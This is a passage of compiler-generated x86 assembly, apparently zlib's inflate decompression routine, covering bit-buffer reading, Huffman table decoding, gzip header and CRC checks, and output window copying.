%ecx movl 4(%esp), %ebx movl %ecx, %eax shrl $1, %ecx andl $1, %eax movl %eax, 4(%ebx) movl %ecx, %eax andl $3, %eax cmpl $2, %eax je .L238 cmpl $3, %eax je .L239 cmpl $1, %eax je .L240 movl $13, (%ebx) movl $13, %eax .L241: shrl $2, %ecx subl $3, %esi movl %edx, %ebp movl %ecx, 8(%esp) jmp .L117 .p2align 4,,10 .p2align 3 .L774: movl $12, (%edi) movb $12, %al jmp .L116 .p2align 4,,10 .p2align 3 .L235: movl %esi, %ecx movl $26, (%eax) andl $-8, %esi andl $7, %ecx movl $26, %eax shrl %cl, 8(%esp) jmp .L707 .p2align 4,,10 .p2align 3 .L143: movl 4(%esp), %eax movl 72(%eax), %ebx .L151: testl %ebx, %ebx je .L330 cmpl %ebx, %esi jnb .L331 testl %edi, %edi je .L764 movl 8(%esp), %edx movl %esi, %ecx jmp .L333 .p2align 4,,10 .p2align 3 .L334: testl %edi, %edi je .L758 .L333: addl $1, %ebp movzbl -1(%ebp), %eax subl $1, %edi sall %cl, %eax addl $8, %ecx addl %eax, %edx cmpl %ebx, %ecx jb .L334 movl %edx, 8(%esp) movl %ecx, %esi .L331: movl %ebx, %ecx movl $1, %eax movl 8(%esp), %edx sall %cl, %eax movl 4(%esp), %ecx subl %ebx, %esi subl $1, %eax andl %edx, %eax addl %eax, 68(%ecx) movl %ebx, %ecx shrl %cl, %edx movl 4(%esp), %ecx movl %edx, 8(%esp) addl %ebx, 7108(%ecx) .L330: movl 4(%esp), %eax movl $24, (%eax) .L144: movl 16(%esp), %ebx testl %ebx, %ebx je .L764 movl 20(%esp), %eax subl %ebx, %eax movl 4(%esp), %ebx movl 68(%ebx), %edx cmpl %edx, %eax jnb .L335 subl %eax, %edx cmpl 44(%ebx), %edx movl %edx, %ecx ja .L776 .L336: movl 4(%esp), %eax movl 48(%eax), %eax cmpl %eax, %ecx jbe .L337 movl 4(%esp), %edx subl %eax, %ecx movl 40(%edx), %eax subl %ecx, %eax addl 52(%edx), %eax movl %eax, 32(%esp) movl %edx, %eax .L338: movl 64(%eax), %edx cmpl %edx, %ecx jbe .L340 movl %edx, %ecx jmp .L340 .L297: cmpl $6, 132(%esp) movl 4(%esp), %eax movl $19, (%eax) je .L764 .p2align 4,,10 .p2align 3 .L139: movl 4(%esp), %eax movl $20, (%eax) .L140: cmpl $5, %edi jbe .L298 cmpl $257, 16(%esp) ja .L777 .L298: movl 4(%esp), %eax movl 84(%eax), %ecx movl 76(%eax), %ebx movl $0, 7108(%eax) movl $1, %eax sall %cl, %eax movl %ebx, 32(%esp) subl $1, %eax movl %eax, %edx movl %eax, 40(%esp) movl 8(%esp), %eax andl %edx, %eax leal (%ebx,%eax,4), %eax movzbl 1(%eax), %edx movzbl (%eax), %ebx movzwl 2(%eax), %eax movw %ax, 36(%esp) movzbl %dl, %eax cmpl %eax, %esi jnb .L299 testl %edi, %edi je .L764 movl %esi, %ecx movl 8(%esp), %esi jmp .L301 .p2align 4,,10 .p2align 3 .L302: testl %edi, %edi je .L778 .L301: addl $1, %ebp movzbl -1(%ebp), %eax movl 32(%esp), %ebx subl $1, %edi sall %cl, %eax addl $8, %ecx addl %eax, %esi movl 40(%esp), %eax andl %esi, %eax leal (%ebx,%eax,4), %eax movzbl 1(%eax), %edx movzbl (%eax), %ebx movzwl 2(%eax), %eax movw %ax, 36(%esp) movzbl %dl, %eax cmpl %ecx, %eax ja .L302 movl %esi, 8(%esp) movl %ecx, %esi .L299: testb %bl, %bl jne .L303 movl 4(%esp), %ebx subl %eax, %esi movl %edx, %ecx shrl %cl, 8(%esp) movl %eax, 7108(%ebx) movzwl 36(%esp), %eax movl %eax, 64(%ebx) .L304: movl 4(%esp), %eax movl $25, (%eax) movl $25, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L141: movl 4(%esp), %eax movl 72(%eax), %ebx .L152: testl %ebx, %ebx jne .L313 movl 4(%esp), %eax movl 4(%esp), %ebx movl 64(%eax), %eax .L314: movl %eax, 7112(%ebx) movl $22, (%ebx) .L142: movl 4(%esp), %eax movl 88(%eax), %ecx movl 80(%eax), %ebx movl $1, %eax sall %cl, %eax movl %ebx, 36(%esp) subl $1, %eax movl %eax, %edx movl %eax, 44(%esp) movl 8(%esp), %eax andl %edx, %eax leal (%ebx,%eax,4), %eax movzbl 1(%eax), %edx movzbl (%eax), %ebx movzwl 2(%eax), %eax movw %ax, 32(%esp) movzbl %dl, %eax cmpl %eax, %esi movl %eax, 40(%esp) jnb .L319 testl %edi, %edi je .L764 movl %esi, %ecx movl %edi, %esi movl 8(%esp), %edi jmp .L321 .p2align 4,,10 .p2align 3 .L322: testl %esi, %esi je .L779 .L321: addl $1, %ebp movzbl -1(%ebp), %eax movl 36(%esp), %ebx subl $1, %esi sall %cl, %eax addl $8, %ecx addl %eax, %edi movl 44(%esp), %eax andl %edi, %eax leal (%ebx,%eax,4), %eax movzbl 1(%eax), %edx movzbl (%eax), %ebx movzwl 2(%eax), %eax movw %ax, 32(%esp) movzbl %dl, %eax cmpl %ecx, %eax movl %eax, 40(%esp) ja .L322 movl %edi, 8(%esp) movl %esi, %edi movl %ecx, %esi .L319: testb $240, %bl jne .L780 movzwl 32(%esp), %ecx movl %ecx, 40(%esp) leal (%ebx,%eax), %ecx movl $1, %ebx sall %cl, %ebx movl %edx, %ecx leal -1(%ebx), %ebx movl %ebx, 60(%esp) andl 8(%esp), %ebx shrl %cl, %ebx movl 40(%esp), %ecx leal (%ebx,%ecx), %edx movl 36(%esp), %ebx leal (%ebx,%edx,4), %edx movzwl 2(%edx), %ecx movzbl (%edx), %ebx movzbl 1(%edx), %edx movw %cx, 32(%esp) leal (%eax,%edx), %ecx movl %edx, 44(%esp) cmpl %ecx, %esi jnb .L325 testl %edi, %edi je .L764 movl %edi, %edx movl 8(%esp), %ebx movl %ebp, %edi movl %edx, %ebp jmp .L327 .p2align 4,,10 .p2align 3 .L328: testl %ebp, %ebp je .L781 .L327: addl $1, %edi movzbl -1(%edi), %edx movl %esi, %ecx addl $8, %esi subl $1, %ebp sall %cl, %edx movl %eax, %ecx addl %edx, %ebx movl 60(%esp), %edx andl %ebx, %edx shrl %cl, %edx addl 40(%esp), %edx movl 36(%esp), %ecx leal (%ecx,%edx,4), %edx movzbl (%edx), %ecx movb %cl, 64(%esp) movzwl 2(%edx), %ecx movzbl 1(%edx), %edx movw %cx, 32(%esp) leal (%edx,%eax), %ecx movl %edx, 44(%esp) cmpl %esi, %ecx ja .L328 movl %ebx, 8(%esp) movzbl 64(%esp), %ebx movl %ebp, %ecx movl %edi, %ebp movl %ecx, %edi .L325: movl %eax, %ecx shrl %cl, 8(%esp) movl 4(%esp), %ecx subl %eax, %esi movl %edx, 40(%esp) addl 7108(%ecx), %eax movl %eax, 36(%esp) movl 44(%esp), %eax movl 36(%esp), %edx jmp .L324 .p2align 4,,10 .p2align 3 .L124: movl 4(%esp), %eax movl 16(%eax), %eax testb $4, %ah movl %eax, %ebx je .L203 cmpl $15, %esi movl 8(%esp), %ebx ja .L204 .L202: testl %edi, %edi je .L764 movl 8(%esp), %ebx movl %esi, %ecx jmp .L206 .p2align 4,,10 .p2align 3 .L207: testl %edi, %edi je .L744 .L206: addl $1, %ebp movzbl -1(%ebp), %edx subl $1, %edi sall %cl, %edx addl $8, %ecx addl %edx, %ebx cmpl $15, %ecx jbe .L207 movl %ebx, 8(%esp) .L204: movl 4(%esp), %esi movl 32(%esi), %edx movl %ebx, 64(%esi) testl %edx, %edx je .L208 movl %ebx, 20(%edx) .L208: testb $2, %ah jne .L209 movl %eax, %ebx xorl %esi, %esi andl $1024, %eax movl $0, 8(%esp) jmp .L210 .p2align 4,,10 .p2align 3 .L782: subl $4, %esp movb $1, %al pushl $1 movl 36(%esi), %ecx sall %cl, %eax pushl %eax movl 140(%esp), %eax pushl 40(%eax) movl 144(%esp), %eax call *32(%eax) addl $16, %esp testl %eax, %eax movl %eax, 52(%esi) jne .L366 movl $30, (%edi) .p2align 4,,10 .p2align 3 .L770: movl $-4, %eax .p2align 4,,10 .p2align 3 .L611: addl $108, %esp popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L388: movl %edi, %ebx movl 4(%esp), %edi movl $1, 28(%esp) .p2align 4,,10 .p2align 3 .L148: movl 128(%esp), %eax movl 12(%esp), %ecx movl %ecx, 12(%eax) movl %eax, %ecx movl 16(%esp), %eax movl %ebx, 4(%ecx) movl %ebp, (%ecx) movl 8(%esp), %ebx movl %eax, 16(%ecx) movl 40(%edi), %ecx movl %esi, 60(%edi) movl %ebx, 56(%edi) testl %ecx, %ecx jne .L363 cmpl %eax, 20(%esp) je .L364 movl (%edi), %eax cmpl $28, %eax ja .L364 cmpl $4, 132(%esp) jne .L363 cmpl $25, %eax ja .L364 .p2align 4,,10 .p2align 3 .L363: movl 128(%esp), %eax movl 20(%esp), %ebp subl 16(%esp), %ebp movl 28(%eax), %esi movl 52(%esi), %eax testl %eax, %eax je .L782 .L366: movl 40(%esi), %ebx testl %ebx, %ebx jne .L368 movl 36(%esi), %ecx movb $1, %bl movl $0, 48(%esi) movl $0, 44(%esi) sall %cl, %ebx movl %ebx, 40(%esi) .L368: cmpl %ebx, %ebp jnb .L783 movl 48(%esi), %edx subl %edx, %ebx cmpl %ebp, %ebx jbe .L371 movl %ebp, %ebx .L371: addl %edx, %eax movl 12(%esp), %edx subl $4, %esp pushl %ebx subl %ebp, %edx pushl %edx pushl %eax call memcpy addl $16, %esp subl %ebx, %ebp jne .L784 movl 48(%esi), %eax movl 40(%esi), %edx addl %ebx, %eax cmpl %edx, %eax movl %eax, 48(%esi) je .L785 .L373: movl 44(%esi), %eax cmpl %eax, %edx jbe .L364 addl %eax, %ebx movl %ebx, 44(%esi) .p2align 4,,10 .p2align 3 .L364: movl 128(%esp), %eax movl 20(%esp), %ebx movl 24(%esp), %esi subl 16(%eax), %ebx subl 4(%eax), %esi addl %esi, 8(%eax) addl %ebx, 20(%eax) addl %ebx, 28(%edi) testl %ebx, %ebx je .L374 movl 8(%edi), %edx testl %edx, %edx je .L374 movl 16(%edi), %eax testl %eax, %eax je .L375 subl $4, %esp pushl %ebx movl 136(%esp), %eax movl 12(%eax), %eax movl %eax, 12(%esp) subl %ebx, %eax pushl %eax pushl 24(%edi) call crc32 addl $16, %esp .L376: movl 128(%esp), %edx movl %eax, 24(%edi) movl %eax, 48(%edx) .L374: cmpl $1, 4(%edi) movl (%edi), %edx sbbl %eax, %eax notl %eax andl $64, %eax addl 60(%edi), %eax cmpl $11, %edx je .L378 cmpl $14, %edx je .L438 cmpl $19, %edx je .L438 .L769: xorl %edx, %edx .L379: movl 128(%esp), %edi addl %edx, %eax orl %esi, %ebx movl %eax, 44(%edi) je .L444 cmpl $4, 132(%esp) movl 28(%esp), %eax jne .L611 .L444: movl 28(%esp), %eax testl %eax, %eax jne .L611 addl $108, %esp movl $-5, %eax popl %ebx popl %esi popl %edi popl %ebp ret .p2align 4,,10 .p2align 3 .L122: cmpl $31, %esi ja .L189 .L188: testl %edi, %edi je .L764 movl 8(%esp), %edx movl %esi, %ecx jmp .L191 .p2align 4,,10 .p2align 3 .L192: testl %edi, %edi je .L758 .L191: addl $1, %ebp movzbl -1(%ebp), %eax subl $1, %edi sall %cl, %eax addl $8, %ecx addl %eax, %edx cmpl $31, %ecx jbe .L192 movl %edx, 8(%esp) .L189: movl 4(%esp), %eax movl 32(%eax), %eax testl %eax, %eax je .L193 movl 8(%esp), %esi movl %esi, 4(%eax) .L193: movl 4(%esp), %eax testb $2, 17(%eax) jne .L786 .L194: movl $3, (%eax) movl $0, 8(%esp) xorl %esi, %esi jmp .L195 .p2align 4,,10 .p2align 3 .L125: movl 4(%esp), %eax movl 16(%eax), %ebx movl %ebx, %eax andl $1024, %eax .L161: testl %eax, %eax je .L211 movl 4(%esp), %eax movl %edi, %ecx movl 64(%eax), %eax cmpl %eax, %edi movl %eax, 32(%esp) ja .L787 .L212: testl %ecx, %ecx movl 32(%esp), %edx je .L213 movl 4(%esp), %eax movl 32(%eax), %edx testl %edx, %edx je .L214 movl 16(%edx), %eax testl %eax, %eax movl %eax, 36(%esp) je .L214 movl 20(%edx), %eax subl 32(%esp), %eax movl 24(%edx), %ebx leal (%ecx,%eax), %edx movl %edx, 32(%esp) cmpl %ebx, 32(%esp) movl %ecx, %edx jbe .L215 subl %eax, %ebx movl %ebx, %edx .L215: addl 36(%esp), %eax movl %ecx, 32(%esp) subl $4, %esp pushl %edx pushl %ebp pushl %eax call memcpy movl 20(%esp), %eax addl $16, %esp movl 32(%esp), %ecx movl 16(%eax), %ebx .L214: andb $2, %bh jne .L788 .L216: movl 4(%esp), %eax subl %ecx, %edi addl %ecx, %ebp movl 64(%eax), %ebx movl %ebx, %edx movl %ebx, 32(%esp) subl %ecx, %edx movl %edx, 64(%eax) .L213: testl %edx, %edx jne .L764 movl 4(%esp), %eax movl 16(%eax), %ebx .L211: movl 4(%esp), %eax testb $8, %bh movl $0, 64(%eax) movl $6, (%eax) jne .L789 .L217: movl 4(%esp), %eax movl 32(%eax), %eax testl %eax, %eax je .L222 movl $0, 28(%eax) jmp .L222 .p2align 4,,10 .p2align 3 .L134: movl 4(%esp), %eax movl 64(%eax), %eax .L157: movl 4(%esp), %ebx movl $15, (%ebx) .L156: testl %eax, %eax je .L246 cmpl %eax, %edi movl %edi, %ebx ja .L790 .L247: cmpl 16(%esp), %ebx ja .L791 .L248: testl %ebx, %ebx je .L764 subl $4, %esp subl %ebx, %edi pushl %ebx pushl %ebp addl %ebx, %ebp pushl 24(%esp) call memcpy movl 20(%esp), %eax subl %ebx, 32(%esp) addl %ebx, 28(%esp) addl $16, %esp subl %ebx, 64(%eax) movl (%eax), %eax jmp .L117 .p2align 4,,10 .p2align 3 .L135: movl 4(%esp), %eax movl 64(%eax), %eax jmp .L156 .p2align 4,,10 .p2align 3 .L127: movl 4(%esp), %eax movl 16(%eax), %ebx testb $16, %bh je .L223 .L803: testl %edi, %edi je .L764 movl %esi, 40(%esp) xorl %ebx, %ebx movl %ebp, 32(%esp) movl %edi, 36(%esp) movl 4(%esp), %esi jmp .L225 .p2align 4,,10 .p2align 3 .L792: cmpl 36(%esp), %ebx jnb .L442 .L225: movl 32(%esp), %eax addl $1, %ebx movzbl -1(%eax,%ebx), %ebp movl 32(%esi), %eax testl %eax, %eax movl %ebp, %edx je .L224 movl 36(%eax), %edi testl %edi, %edi je .L224 movl 64(%esi), %ecx cmpl 40(%eax), %ecx jnb .L224 leal 1(%ecx), %eax movl %eax, 64(%esi) movb %dl, (%edi,%ecx) .L224: testl %ebp, %ebp jne .L792 .L442: movl 4(%esp), %eax movl 36(%esp), %edi movl 40(%esp), %esi movl %ebp, 36(%esp) movl 32(%esp), %ebp testb $2, 17(%eax) jne .L793 .L227: subl %ebx, %edi addl %ebx, %ebp movl 36(%esp), %ebx testl %ebx, %ebx jne .L764 movl 4(%esp), %eax movl 16(%eax), %ebx .L228: movl 4(%esp), %eax movl $8, (%eax) .L158: testb $2, %bh je .L229 cmpl $15, %esi ja .L406 testl %edi, %edi je .L764 leal 1(%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx movl %eax, 32(%esp) movzbl (%ebp), %eax sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $15, %ecx ja .L407 testl %edx, %edx je .L164 leal 2(%ebp), %eax subl $2, %edi addl $16, %esi movl %eax, 32(%esp) movzbl 1(%ebp), %eax sall %cl, %eax addl %eax, 8(%esp) .L230: movl 4(%esp), %edx movzwl 24(%edx), %eax cmpl 8(%esp), %eax je .L408 movl 128(%esp), %eax movl 32(%esp), %ebp movl $.LC10, 24(%eax) movl $29, (%edx) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L128: movl 4(%esp), %eax movl 16(%eax), %ebx jmp .L158 .p2align 4,,10 .p2align 3 .L149: movl %edi, %ebx movl $-3, 28(%esp) movl 4(%esp), %edi jmp .L148 .p2align 4,,10 .p2align 3 .L119: movl 4(%esp), %eax movl 8(%eax), %edx testl %edx, %edx je .L171 cmpl $15, %esi ja .L172 testl %edi, %edi je .L764 leal -1(%edi), %eax movl %esi, %ecx leal 1(%ebp), %ebx movl %eax, 32(%esp) movzbl (%ebp), %eax sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $15, %ecx ja .L400 movl 32(%esp), %eax testl %eax, %eax je .L435 movzbl 1(%ebp), %eax leal 2(%ebp), %ebx subl $2, %edi addl $16, %esi sall %cl, %eax addl %eax, 8(%esp) .L173: movl %ebx, %ebp .L172: cmpl $35615, 8(%esp) jne .L176 testb $2, %dl jne .L794 .L176: movl 4(%esp), %eax movl $0, 16(%eax) movl 32(%eax), %eax testl %eax, %eax je .L177 movl $-1, 48(%eax) .L177: andl $1, %edx je .L178 movl 8(%esp), %ecx movl $138547333, %edx movl %ecx, %eax shrl $8, %ecx sall $8, %eax movzwl %ax, %eax addl %eax, %ecx movl %ecx, %eax mull %edx movl %ecx, %eax subl %edx, %eax shrl $1, %eax addl %edx, %eax shrl $4, %eax movl %eax, %edx sall $5, %edx subl %eax, %edx cmpl %edx, %ecx jne .L178 movl 8(%esp), %eax andl $15, %eax cmpl $8, %eax je .L180 movl 128(%esp), %eax movl $.LC7, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L121: cmpl $15, %esi ja .L398 testl %edi, %edi je .L764 movzbl (%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx leal 1(%ebp), %ebx sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $15, %ecx ja .L399 testl %edx, %edx je .L170 movzbl 1(%ebp), %eax leal 2(%ebp), %ebx subl $2, %edi addl $16, %esi sall %cl, %eax addl %eax, 8(%esp) .L168: movl 8(%esp), %eax movl 4(%esp), %edx cmpb $8, %al movl %eax, 16(%edx) je .L184 movl 128(%esp), %eax movl %ebx, %ebp movl $.LC7, 24(%eax) movl $29, (%edx) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L138: movl 4(%esp), %eax movl 4(%esp), %ebx movl 104(%eax), %eax movl %eax, 36(%esp) .L153: movl 96(%ebx), %eax movl %ebp, 40(%esp) movl %eax, 60(%esp) addl 100(%ebx), %eax movl 8(%esp), %ebx movl %eax, 44(%esp) movl %eax, %edx .L258: cmpl %edx, 36(%esp) jnb .L292 movl 4(%esp), %eax movl 84(%eax), %ecx movl 76(%eax), %edx movl $1, %eax sall %cl, %eax movl %edx, %ebp movl %edx, 32(%esp) leal -1(%eax), %eax movl %eax, 8(%esp) andl %ebx, %eax leal (%ebp,%eax,4), %eax movzbl 1(%eax), %ecx movzwl 2(%eax), %edx movzbl %cl, %eax cmpl %eax, %esi jnb .L293 testl %edi, %edi movl 40(%esp), %ebp je .L750 movl %esi, %ecx jmp .L260 .p2align 4,,10 .p2align 3 .L261: testl %edi, %edi je .L744 .L260: addl $1, %ebp movzbl -1(%ebp), %eax movl 32(%esp), %esi subl $1, %edi sall %cl, %eax addl $8, %ecx addl %eax, %ebx movl 8(%esp), %eax andl %ebx, %eax leal (%esi,%eax,4), %edx movzbl 1(%edx), %esi movzwl 2(%edx), %edx cmpl %ecx, %esi movl %esi, %eax ja .L261 movl %ecx, %esi movl %ebp, 40(%esp) movl %eax, %ecx .L293: cmpw $15, %dx jbe .L795 cmpw $16, %dx je .L796 cmpw $17, %dx je .L272 leal 7(%eax), %edx cmpl %edx, %esi jnb .L273 testl %edi, %edi movl 40(%esp), %ebp je .L750 movl %esi, %ecx movl %eax, %esi movl %edx, %eax jmp .L279 .p2align 4,,10 .p2align 3 .L280: testl %edi, %edi je .L744 .L279: addl $1, %ebp movzbl -1(%ebp), %edx subl $1, %edi sall %cl, %edx addl $8, %ecx addl %edx, %ebx cmpl %eax, %ecx jb .L280 movl %esi, %eax movl %ebp, 40(%esp) movl %ecx, %esi .L273: movl %eax, %ecx subl $7, %esi shrl %cl, %ebx subl %eax, %esi xorl %eax, %eax movl %ebx, %edx shrl $7, %ebx andl $127, %edx addl $11, %edx .L271: movl 36(%esp), %ebp movl %ebp, %ecx addl %edx, %ecx cmpl 44(%esp), %ecx movl %ecx, 68(%esp) ja .L281 movw %ax, 8(%esp) movl 4(%esp), %eax movl %ebp, %ecx addl $56, %ecx movl %edx, 64(%esp) leal (%eax,%ecx,2), %eax sall $30, %eax shrl $31, %eax cmpl %eax, %edx jbe .L282 movl %eax, 64(%esp) .L282: cmpl $6, %edx ja .L797 movzwl 8(%esp), %ebp movl 4(%esp), %eax cmpl $2, %edx movw %bp, (%eax,%ecx,2) movl 36(%esp), %ecx movw %bp, 114(%eax,%ecx,2) je .L288 cmpl $3, %edx movw %bp, 116(%eax,%ecx,2) je .L288 cmpl $4, %edx movw %bp, 118(%eax,%ecx,2) je .L288 cmpl $6, %edx movw %bp, 120(%eax,%ecx,2) jne .L288 movw %bp, 122(%eax,%ecx,2) .L288: movl 4(%esp), %edx movl 68(%esp), %eax movl %eax, 104(%edx) movl %eax, 36(%esp) movl 44(%esp), %edx jmp .L258 .p2align 4,,10 .p2align 3 .L136: cmpl $13, %esi ja .L390 testl %edi, %edi je .L764 leal 1(%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx movl %eax, 32(%esp) movzbl (%ebp), %eax sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) movl 8(%esp), %ebx cmpl $13, %ecx ja .L391 testl %edx, %edx je .L164 leal 2(%ebp), %eax subl $2, %edi addl $16, %esi movl %eax, 32(%esp) movzbl 1(%ebp), %eax sall %cl, %eax addl %eax, %ebx movl %ebx, 8(%esp) movl %ebx, %ecx .L162: movl %ecx, %eax movl %ecx, %ebx movl 4(%esp), %ebp shrl $5, %eax movl %ecx, %edx shrl $10, %ebx andl $31, %eax andl $31, %edx andl $15, %ebx addl $1, %eax addl $257, %edx addl $4, %ebx shrl $14, %ecx subl $14, %esi cmpl $30, %eax movl %edx, 96(%ebp) movl %eax, 100(%ebp) movl %ebx, 92(%ebp) movl %ecx, 8(%esp) ja .L443 cmpl $286, %edx ja .L443 movl 4(%esp), %eax movl %esi, %ecx xorl %edx, %edx movl 8(%esp), %esi movl %ebx, 8(%esp) movl $0, 104(%eax) movl $17, (%eax) jmp .L251 .p2align 4,,10 .p2align 3 .L137: movl 4(%esp), %eax movl 92(%eax), %ebx movl 104(%eax), %edx cmpl %edx, %ebx jbe .L155 movl %esi, %ecx movl %ebp, 32(%esp) movl 8(%esp), %esi movl %ebx, 8(%esp) .L251: cmpl $2, %ecx ja .L252 testl %edi, %edi je .L735 movl 32(%esp), %eax subl $1, %edi movzbl (%eax), %eax sall %cl, %eax addl $8, %ecx addl %eax, %esi movl 32(%esp), %eax addl $1, %eax movl %eax, 32(%esp) .L252: addl $1, %edx movl %esi, %eax subl $3, %ecx andl $7, %eax movzwl order.3459-2(%edx,%edx), %ebp shrl $3, %esi cmpl 8(%esp), %edx movl 4(%esp), %ebx movl %edx, 104(%ebx) movw %ax, 112(%ebx,%ebp,2) jb .L251 movl 32(%esp), %ebp movl %esi, 8(%esp) movl %ecx, %esi .L155: cmpl $18, %edx leal order.3459(%edx,%edx), %eax movl 4(%esp), %ecx ja .L257 .p2align 4,,10 .p2align 3 .L612: movzwl (%eax), %edx addl $2, %eax xorl %ebx, %ebx cmpl $order.3459+38, %eax movw %bx, 112(%ecx,%edx,2) jne .L612 movl 4(%esp), %eax movl $19, 104(%eax) .L257: movl 4(%esp), %eax movl 56(%esp), %ebx subl $8, %esp movl %ebx, 108(%eax) movl %ebx, 76(%eax) movl %eax, %ebx movl $7, 84(%eax) addl $84, %eax pushl 60(%esp) pushl %eax movl %ebx, %eax addl $108, %eax pushl %eax movl %ebx, %eax pushl $19 addl $112, %eax pushl %eax pushl $0 call inflate_table movl %eax, 60(%esp) addl $32, %esp testl %eax, %eax je .L798 movl 128(%esp), %eax movl $.LC14, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L123: cmpl $15, %esi ja .L196 .L195: testl %edi, %edi je .L764 movl 8(%esp), %edx movl %esi, %ecx jmp .L198 .p2align 4,,10 .p2align 3 .L199: testl %edi, %edi je .L758 .L198: addl $1, %ebp movzbl -1(%ebp), %eax subl $1, %edi sall %cl, %eax addl $8, %ecx addl %eax, %edx cmpl $15, %ecx jbe .L199 movl %edx, 8(%esp) .L196: movl 4(%esp), %eax movl 32(%eax), %eax testl %eax, %eax je .L200 movl 8(%esp), %ebx movzbl %bl, %edx shrl $8, %ebx movl %edx, 8(%eax) movl %ebx, 12(%eax) .L200: movl 4(%esp), %eax movl 16(%eax), %eax testb $2, %ah jne .L799 .L201: movl 4(%esp), %esi movl %eax, %ebx movl $0, 8(%esp) movl $4, (%esi) xorl %esi, %esi testb $4, %ah jne .L202 .L203: movl 4(%esp), %edx movl 32(%edx), %edx testl %edx, %edx je .L403 movl %eax, %ebx movl $0, 16(%edx) andl $1024, %eax .L210: movl 4(%esp), %edx movl $5, (%edx) jmp .L161 .p2align 4,,10 .p2align 3 .L145: movl 16(%esp), %ebx testl %ebx, %ebx je .L764 movl 4(%esp), %edx movl 12(%esp), %ecx movl 64(%edx), %eax movb %al, (%ecx) movl %ebx, %eax movl $20, (%edx) subl $1, %eax movl %eax, 16(%esp) leal 1(%ecx), %eax movl %eax, 12(%esp) movl $20, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L146: movl 4(%esp), %eax movl 8(%eax), %eax testl %eax, %eax je .L350 cmpl $31, %esi ja .L422 testl %edi, %edi je .L764 movzbl (%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx leal 1(%ebp), %ebx sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L427 testl %edx, %edx je .L435 movzbl 1(%ebp), %eax leal -2(%edi), %edx leal 2(%ebp), %ebx sall %cl, %eax leal 16(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L427 testl %edx, %edx je .L435 movzbl 2(%ebp), %eax leal -3(%edi), %edx leal 3(%ebp), %ebx sall %cl, %eax leal 24(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L427 testl %edx, %edx je .L435 movzbl 3(%ebp), %eax leal 4(%ebp), %ebx subl $4, %edi addl $32, %esi sall %cl, %eax addl %eax, 8(%esp) .L351: movl 128(%esp), %edx movl 20(%esp), %eax subl 16(%esp), %eax addl %eax, 20(%edx) movl 4(%esp), %edx addl %eax, 28(%edx) testl %eax, %eax je .L354 movl 16(%edx), %edx testl %edx, %edx je .L355 subl $4, %esp pushl %eax movl 20(%esp), %edx subl %eax, %edx pushl %edx movl 16(%esp), %eax pushl 24(%eax) call crc32 addl $16, %esp .L356: movl 4(%esp), %edx movl %eax, 24(%edx) movl 128(%esp), %edx movl %eax, 48(%edx) movl 4(%esp), %edx .L354: movl 16(%edx), %ebp movl 8(%esp), %eax testl %ebp, %ebp jne .L357 movl %eax, %edx movl %eax, %ebp shrl $24, %eax sall $24, %edx leal (%edx,%eax), %ecx movl %ebp, %eax shrl $8, %eax andl $65280, %eax leal (%ecx,%eax), %edx movl %ebp, %eax andl $65280, %eax sall $8, %eax addl %edx, %eax movl 4(%esp), %edx .L357: cmpl 24(%edx), %eax je .L800 movl 128(%esp), %eax movl %ebx, %ebp movl $.LC22, 24(%eax) movl 4(%esp), %eax movl $29, (%eax) movl 16(%esp), %eax movl %eax, 20(%esp) movl $29, %eax jmp .L707 .p2align 4,,10 .p2align 3 .L126: movl 4(%esp), %eax movl 16(%eax), %ebx testb $8, %bh je .L217 .L789: testl %edi, %edi je .L764 movl %esi, 40(%esp) xorl %ebx, %ebx movl %ebp, 32(%esp) movl %edi, 36(%esp) movl 4(%esp), %esi jmp .L219 .p2align 4,,10 .p2align 3 .L801: cmpl 36(%esp), %ebx jnb .L441 .L219: movl 32(%esp), %eax addl $1, %ebx movzbl -1(%eax,%ebx), %ebp movl 32(%esi), %eax testl %eax, %eax movl %ebp, %edx je .L218 movl 28(%eax), %edi testl %edi, %edi je .L218 movl 64(%esi), %ecx cmpl 32(%eax), %ecx jnb .L218 leal 1(%ecx), %eax movl %eax, 64(%esi) movb %dl, (%edi,%ecx) .L218: testl %ebp, %ebp jne .L801 .L441: movl 4(%esp), %eax movl 36(%esp), %edi movl 40(%esp), %esi movl %ebp, 36(%esp) movl 32(%esp), %ebp testb $2, 17(%eax) jne .L802 .L221: movl 36(%esp), %eax subl %ebx, %edi addl %ebx, %ebp testl %eax, %eax jne .L764 movl 4(%esp), %eax movl 16(%eax), %ebx .L222: movl 4(%esp), %eax testb $16, %bh movl $0, 64(%eax) movl $7, (%eax) jne .L803 .L223: movl 4(%esp), %eax movl 32(%eax), %eax testl %eax, %eax je .L228 movl $0, 36(%eax) jmp .L228 .p2align 4,,10 .p2align 3 .L147: movl 4(%esp), %eax movl 8(%eax), %eax .L150: testl %eax, %eax je .L763 movl 4(%esp), %eax movl 16(%eax), %ebx testl %ebx, %ebx je .L763 cmpl $31, %esi ja .L360 testl %edi, %edi je .L764 movzbl (%ebp), %eax movl %esi, %ecx leal -1(%edi), %edx leal 1(%ebp), %ebx sall %cl, %eax leal 8(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L434 testl %edx, %edx je .L435 movzbl 1(%ebp), %eax leal -2(%edi), %edx leal 2(%ebp), %ebx sall %cl, %eax leal 16(%esi), %ecx addl %eax, 8(%esp) cmpl $31, %ecx ja .L434 testl %edx, %edx je .L435 movzbl 2(%ebp), %eax leal -3(%edi), %edx leal 3(%ebp), 